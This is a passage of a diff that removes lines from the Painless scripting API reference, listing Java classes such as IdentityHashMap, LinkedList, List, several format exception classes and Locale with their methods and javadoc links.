-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* Enumeration {java11-javadoc}/java.base/java/util/Dictionary.html#keys()[keys]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-IdentityHashMap]]
-==== IdentityHashMap
-* {java11-javadoc}/java.base/java/util/IdentityHashMap.html#<init>()[IdentityHashMap]()
-* {java11-javadoc}/java.base/java/util/IdentityHashMap.html#<init>(java.util.Map)[IdentityHashMap](Map)
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/IdentityHashMap.html#clone()[clone]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-IllegalFormatCodePointException]]
-==== IllegalFormatCodePointException
-* {java11-javadoc}/java.base/java/util/IllegalFormatCodePointException.html#<init>(int)[IllegalFormatCodePointException](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/IllegalFormatCodePointException.html#getCodePoint()[getCodePoint]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalFormatConversionException]]
-==== IllegalFormatConversionException
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* char {java11-javadoc}/java.base/java/util/IllegalFormatConversionException.html#getConversion()[getConversion]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalFormatException]]
-==== IllegalFormatException
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalFormatFlagsException]]
-==== IllegalFormatFlagsException
-* {java11-javadoc}/java.base/java/util/IllegalFormatFlagsException.html#<init>(java.lang.String)[IllegalFormatFlagsException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/IllegalFormatFlagsException.html#getFlags()[getFlags]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalFormatPrecisionException]]
-==== IllegalFormatPrecisionException
-* {java11-javadoc}/java.base/java/util/IllegalFormatPrecisionException.html#<init>(int)[IllegalFormatPrecisionException](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* int {java11-javadoc}/java.base/java/util/IllegalFormatPrecisionException.html#getPrecision()[getPrecision]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalFormatWidthException]]
-==== IllegalFormatWidthException
-* {java11-javadoc}/java.base/java/util/IllegalFormatWidthException.html#<init>(int)[IllegalFormatWidthException](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/util/IllegalFormatWidthException.html#getWidth()[getWidth]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllformedLocaleException]]
-==== IllformedLocaleException
-* {java11-javadoc}/java.base/java/util/IllformedLocaleException.html#<init>()[IllformedLocaleException]()
-* {java11-javadoc}/java.base/java/util/IllformedLocaleException.html#<init>(java.lang.String)[IllformedLocaleException](null)
-* {java11-javadoc}/java.base/java/util/IllformedLocaleException.html#<init>(java.lang.String,int)[IllformedLocaleException](null, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/IllformedLocaleException.html#getErrorIndex()[getErrorIndex]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-InputMismatchException]]
-==== InputMismatchException
-* {java11-javadoc}/java.base/java/util/InputMismatchException.html#<init>()[InputMismatchException]()
-* {java11-javadoc}/java.base/java/util/InputMismatchException.html#<init>(java.lang.String)[InputMismatchException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IntSummaryStatistics]]
-==== IntSummaryStatistics
-* {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#<init>()[IntSummaryStatistics]()
-* void {java11-javadoc}/java.base/java/util/function/IntConsumer.html#accept(int)[accept](int)
-* IntConsumer {java11-javadoc}/java.base/java/util/function/IntConsumer.html#andThen(java.util.function.IntConsumer)[andThen](IntConsumer)
-* void {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#combine(java.util.IntSummaryStatistics)[combine](IntSummaryStatistics)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* double {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#getAverage()[getAverage]()
-* long {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#getCount()[getCount]()
-* int {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#getMax()[getMax]()
-* int {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#getMin()[getMin]()
-* long {java11-javadoc}/java.base/java/util/IntSummaryStatistics.html#getSum()[getSum]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Iterator]]
-==== Iterator
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/Iterator.html#forEachRemaining(java.util.function.Consumer)[forEachRemaining](Consumer)
-* boolean {java11-javadoc}/java.base/java/util/Iterator.html#hasNext()[hasNext]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Iterator.html#next()[next]()
-* void {java11-javadoc}/java.base/java/util/Iterator.html#remove()[remove]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LinkedHashMap]]
-==== LinkedHashMap
-* {java11-javadoc}/java.base/java/util/LinkedHashMap.html#<init>()[LinkedHashMap]()
-* {java11-javadoc}/java.base/java/util/LinkedHashMap.html#<init>(java.util.Map)[LinkedHashMap](Map)
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/HashMap.html#clone()[clone]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-LinkedHashSet]]
-==== LinkedHashSet
-* {java11-javadoc}/java.base/java/util/LinkedHashSet.html#<init>()[LinkedHashSet]()
-* {java11-javadoc}/java.base/java/util/LinkedHashSet.html#<init>(java.util.Collection)[LinkedHashSet](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/HashSet.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LinkedList]]
-==== LinkedList
-* {java11-javadoc}/java.base/java/util/LinkedList.html#<init>()[LinkedList]()
-* {java11-javadoc}/java.base/java/util/LinkedList.html#<init>(java.util.Collection)[LinkedList](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* void {java11-javadoc}/java.base/java/util/Deque.html#addFirst(java.lang.Object)[addFirst](def)
-* void {java11-javadoc}/java.base/java/util/Deque.html#addLast(java.lang.Object)[addLast](def)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/LinkedList.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* Iterator {java11-javadoc}/java.base/java/util/Deque.html#descendingIterator()[descendingIterator]()
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Queue.html#element()[element]()
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Deque.html#getFirst()[getFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#getLast()[getLast]()
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* boolean {java11-javadoc}/java.base/java/util/Queue.html#offer(java.lang.Object)[offer](def)
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#offerFirst(java.lang.Object)[offerFirst](def)
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#offerLast(java.lang.Object)[offerLast](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#peekFirst()[peekFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#peekLast()[peekLast]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#poll()[poll]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pollFirst()[pollFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pollLast()[pollLast]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pop()[pop]()
-* void {java11-javadoc}/java.base/java/util/Deque.html#push(java.lang.Object)[push](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#remove()[remove]()
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* def {java11-javadoc}/java.base/java/util/Deque.html#removeFirst()[removeFirst]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#removeFirstOccurrence(java.lang.Object)[removeFirstOccurrence](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* def {java11-javadoc}/java.base/java/util/Deque.html#removeLast()[removeLast]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#removeLastOccurrence(java.lang.Object)[removeLastOccurrence](def)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-List]]
-==== List
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ListIterator]]
-==== ListIterator
-* void {java11-javadoc}/java.base/java/util/ListIterator.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/Iterator.html#forEachRemaining(java.util.function.Consumer)[forEachRemaining](Consumer)
-* boolean {java11-javadoc}/java.base/java/util/Iterator.html#hasNext()[hasNext]()
-* boolean {java11-javadoc}/java.base/java/util/ListIterator.html#hasPrevious()[hasPrevious]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Iterator.html#next()[next]()
-* int {java11-javadoc}/java.base/java/util/ListIterator.html#nextIndex()[nextIndex]()
-* int {java11-javadoc}/java.base/java/util/ListIterator.html#previousIndex()[previousIndex]()
-* void {java11-javadoc}/java.base/java/util/Iterator.html#remove()[remove]()
-* void {java11-javadoc}/java.base/java/util/ListIterator.html#set(java.lang.Object)[set](def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Locale]]
-==== Locale
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#CANADA[CANADA]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#CANADA_FRENCH[CANADA_FRENCH]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#CHINA[CHINA]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#CHINESE[CHINESE]
